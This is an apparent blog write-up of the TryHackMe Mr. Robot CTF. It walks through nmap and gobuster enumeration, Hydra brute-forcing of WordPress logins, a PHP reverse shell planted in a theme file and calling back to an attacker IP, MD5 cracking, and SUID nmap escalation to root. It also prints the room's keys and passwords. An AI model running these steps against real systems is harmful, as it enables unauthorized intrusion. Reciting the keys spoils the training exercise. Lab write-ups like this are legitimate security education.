← Back to list

TryHackMe — Mr. Robot CTF | Full Write-Up

Platform: TryHackMe Room: Mr. Robot CTF Difficulty: Medium Author: Shikhali Jamalzade (@alisalive) Date: May 2026 Tags: #CTF #TryHackMe…

Shikhali Jamalzade in InfoSec Write-ups · 2026-05-09 01:01 · 200 claps · 6.2 min read
#ctf-writeup #tryhackme-walkthrough #penetration-testing #web-penetration-testing
Open on Medium ↗
Wiki topics: LIT · Literature & Writing

TryHackMe — Mr. Robot CTF | Full Write-Up

Platform: TryHackMe

Room: Mr. Robot CTF Difficulty: Medium Author: Shikhali Jamalzade (@alisalive) Date: May 2026 Tags: #CTF #TryHackMe #WordPress #PrivilegeEscalation #PenTest #MrRobot

“Give a man a gun and he can rob a bank. Give a man a bank and he can rob the world.” — Mr. Robot

Introduction

The Mr. Robot CTF room on TryHackMe is inspired by the cult TV series of the same name — a show about hacking, manipulation, and power. Created by security researcher Leon Johnson, the room presents a realistic attack surface: a WordPress-powered web server with deliberately weak credentials and a classic privilege escalation vector involving a SUID binary.

Your mission: find 3 hidden keys on the machine.

In this write-up, I’ll walk through every step of the compromise — from initial reconnaissance all the way to root. I’ll explain the why behind each tool and technique, not just the how.

Environment Setup

Before anything, connect to the TryHackMe VPN:

bash

sudo openvpn your-config.ovpn

Once connected, deploy the Mr. Robot machine from the room page. Note the assigned IP (referred to as <TARGET_IP> throughout this write-up).

Phase 1 — Reconnaissance

Nmap Port Scan

Every engagement begins with understanding the attack surface. We’ll use nmap to identify open ports, services, and versions.

bash

nmap -sC -sV -T4 -oN nmap_scan.txt <TARGET_IP>

Flag breakdown:

  • -sC — Run default NSE scripts (useful for detecting common vulns and misconfigs)
  • -sV — Probe service versions
  • -T4 — Aggressive timing (faster on stable networks)
  • -oN — Save output to file for reference

Results:

PORT    STATE  SERVICE  VERSION
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd
22/tcp  closed ssh

Two web servers (HTTP + HTTPS) are running on a standard Apache stack. SSH is closed, so our initial foothold will be through the web.

Phase 2 — Web Enumeration

Visiting the Website

Navigate to http://<TARGET_IP> in your browser. You'll be greeted by an interactive terminal simulation themed around the Mr. Robot show. It's visually impressive but doesn't contain anything useful for exploitation — feel free to play around though.

robots.txt — The First Lead

A robots.txt file tells web crawlers which paths to avoid. It's frequently overlooked by developers, but for pentesters it's a goldmine.

bash

curl http://<TARGET_IP>/robots.txt

Output:

User-agent: *
fsocity.dic
key-1-of-3.txt

Two files are disclosed:

  • fsocity.dic — a wordlist (we'll use this to brute-force WordPress)
  • key-1-of-3.txt — the first flag

Download both immediately:

bash

wget http://<TARGET_IP>/fsocity.dic
wget http://<TARGET_IP>/key-1-of-3.txt
cat key-1-of-3.txt

🚩 Key 1: 073403c8a58a1f80d943455fb30724b9

Directory Brute-Forcing with Gobuster

To map the full attack surface, we enumerate hidden directories:

bash

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

Key findings:

/wp-login    (Status: 200)
/wp-admin    (Status: 301)
/robots      (Status: 200)
/readme      (Status: 200)
/sitemap     (Status: 200)
/wp-content  (Status: 301)

The presence of /wp-login confirms this is a WordPress installation. This opens up a well-documented attack path.

Phase 3 — WordPress Credential Brute-Force

Preparing the Wordlist

The fsocity.dic file contains 858,160 words — most of them duplicates. Running a brute-force with this as-is would waste significant time. We deduplicate it first:

bash

wc -w fsocity.dic         # 858160 words
sort fsocity.dic | uniq > fs-clean.txt
wc -w fs-clean.txt        # 11451 words — a 98.7% reduction

Always optimize your wordlists before launching attacks. Speed matters in real engagements.

Username Enumeration with Hydra

WordPress gives different error messages depending on whether a username exists:

  • Invalid username → ERROR: Invalid username.
  • Valid username, wrong password → ERROR: The password you entered for the username … is incorrect.

We exploit this username enumeration vulnerability to find valid users first, then pivot to password brute-forcing.

Start by capturing a failed login request with Burp Suite to identify the POST parameters (log and pwd). Then launch Hydra:

bash

hydra -L fs-clean.txt -p test <TARGET_IP> http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30
  • -L fs-clean.txt — username wordlist
  • -p test — static placeholder password (we only care about username validity here)
  • F=Invalid username — string that indicates a failed attempt (Hydra ignores these)

Result: Valid username found → elliot

Password Brute-Force

Now that we have a valid username, we brute-force the password using the same deduplicated list:

bash

hydra -l elliot -P fs-clean.txt <TARGET_IP> http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30

Result: Password found → ER28-0652

Alternative — WPScan:

bash

wpscan --url http://<TARGET_IP> -U elliot -P fs-clean.txt -t 50

WPScan is purpose-built for WordPress and tends to be faster for this specific task.

Phase 4 — WordPress Remote Code Execution

Gaining Admin Access

Navigate to http://<TARGET_IP>/wp-login.php and log in with:

  • Username: elliot
  • Password: ER28-0652

Elliot has full administrator privileges. Welcome to the dashboard.

Uploading a PHP Reverse Shell

WordPress administrators can edit theme template files — raw PHP. This is our injection point.

Navigate to: Appearance → Theme Editor → Select a template (e.g., archive.php or 404.php)

Replace the entire file content with PentestMonkey’s PHP reverse shell:

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Before saving, edit these two lines to match your attacking machine:

php

$ip = '<YOUR_ATTACKING_IP>';   // your TryHackMe VPN IP (tun0)
$port = 4444;                   // or any port you choose

Click Update File.

Setting Up the Listener

On your attacking machine:

bash

nc -lvnp 4444

Triggering the Shell

Now visit the modified template URL in your browser. For the archive.php template, it would be:

http://<TARGET_IP>/wp-content/themes/twentyfifteen/archive.php

Check your terminal — you should have a reverse shell as daemon:

bash

$ whoami
daemon

Phase 5 — Post-Exploitation & Key 2

Exploring the Filesystem

Navigate to the home directory:

bash

cd /home/robot
ls -la

Output:

-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5

We can see key-2-of-3.txt, but it's only readable by the robot user. However, password.raw-md5 is world-readable:

bash

cat password.raw-md5

Output:

robot:c3fcd3d76192e4007dfb496cca67e13b

Cracking the MD5 Hash

The hash format is MD5 (hinted by the filename). Crack it using:

Option 1 — CrackStation (online): Paste the hash at crackstation.net

Option 2 — John the Ripper:

bash

echo "c3fcd3d76192e4007dfb496cca67e13b" > hash.txt
john hash.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt

Option 3 — Hashcat:

bash

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Result: abcdefghijklmnopqrstuvwxyz

Spawning a Proper TTY Shell

Before switching users, we need a fully interactive terminal. Our current shell is a limited “dumb” shell that doesn’t support su. Fix it with Python's pty module:

bash

python -c 'import pty; pty.spawn("/bin/bash")'

Now switch to the robot user:

bash

su robot
# Password: abcdefghijklmnopqrstuvwxyz

Read the second key:

bash

cat /home/robot/key-2-of-3.txt

🚩 Key 2: 822c73956184f694993bebb3eb32f0bf

Phase 6 — Privilege Escalation to Root

With robot, we still can't read the third key (located in /root). We need to escalate to root.

Finding SUID Binaries

SUID (Set User ID) binaries run with the permissions of their owner (often root), regardless of who executes them. This is a common and powerful escalation vector.

bash

find / -perm -u=s -type f 2>/dev/null

Scan the results. Something unusual stands out:

/usr/local/bin/nmap

Nmap with SUID? That’s misconfigured. Older versions of nmap (2.02–5.21) include an --interactive mode that allows shell command execution.

GTFOBins — nmap Interactive Mode

Verify on GTFOBins:

bash

nmap --interactive

Once in nmap’s interactive prompt:

nmap> !sh

Check your privilege level:

bash

whoami
# root

You now have a root shell.

Capturing the Final Key

bash

cat /root/key-3-of-3.txt

🚩 Key 3: 04787ddef27c3dee1ee161b21670b4e4

Attack Chain Summary

robots.txt disclosure
        ↓
Key 1 found (public file)
        ↓
WordPress discovered via gobuster
        ↓
Username enumerated via error message difference
        ↓
Password cracked via Hydra + fsocity.dic wordlist
        ↓
Admin access → PHP reverse shell injected into theme
        ↓
Shell as daemon → /home/robot/ explored
        ↓
MD5 hash cracked → su robot → Key 2
        ↓
SUID nmap found → nmap --interactive → !sh → root
        ↓
Key 3 captured

Lessons Learned

1. robots.txt is not security. It’s a disclosure mechanism by design — never put sensitive file paths there.

2. WordPress login pages expose usernames. The different error messages for “invalid username” vs “wrong password” enable user enumeration. This is a long-standing WordPress issue.

3. Wordlist hygiene matters. Deduplicating fsocity.dic reduced it from 858,160 to 11,451 entries — making the brute-force ~75x faster. Never throw raw wordlists at targets.

4. Theme editors are code execution. Any CMS that lets admins write raw PHP to disk is one compromised account away from full RCE.

5. SUID misconfigurations are everywhere. Always run find / -perm -u=s -type f 2>/dev/null on post-exploitation. Cross-reference with GTFOBins.

6. MD5 is not encryption. It’s a hashing algorithm, and short/predictable passwords will fall to rainbow tables instantly. Use bcrypt, Argon2, or scrypt for password storage.

Tools Used

Tool Purpose nmap Port scanning & service enumeration gobuster Directory brute-forcing Burp Suite HTTP request interception & analysis Hydra Credential brute-forcing WPScan WordPress-specific enumeration Pentest Monkey PHP Reverse Shell Remote code execution payload Netcat Reverse shell listener John the Ripper / Hashcat Hash cracking GTFOBins SUID exploitation reference

Flags

1073403c8a58a1f80d943455fb30724b9 2822c73956184f694993bebb3eb32f0bf 304787ddef27c3dee1ee161b21670b4e4

Thanks for reading. If you have questions or spotted a better path, drop a comment — I’m always up for discussing alternative techniques.

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub. and my *TryHackMe*


메타데이터
post_id
f28d83777dde
slug
tryhackme-mr-robot-ctf-full-write-up-f28d83777dde
url
https://infosecwriteups.com/tryhackme-mr-robot-ctf-full-write-up-f28d83777dde
canonical_url
https://infosecwriteups.com/tryhackme-mr-robot-ctf-full-write-up-f28d83777dde
author_url
https://medium.com/@alisalive
status
ok
fetched_at
2026-06-28 10:39:35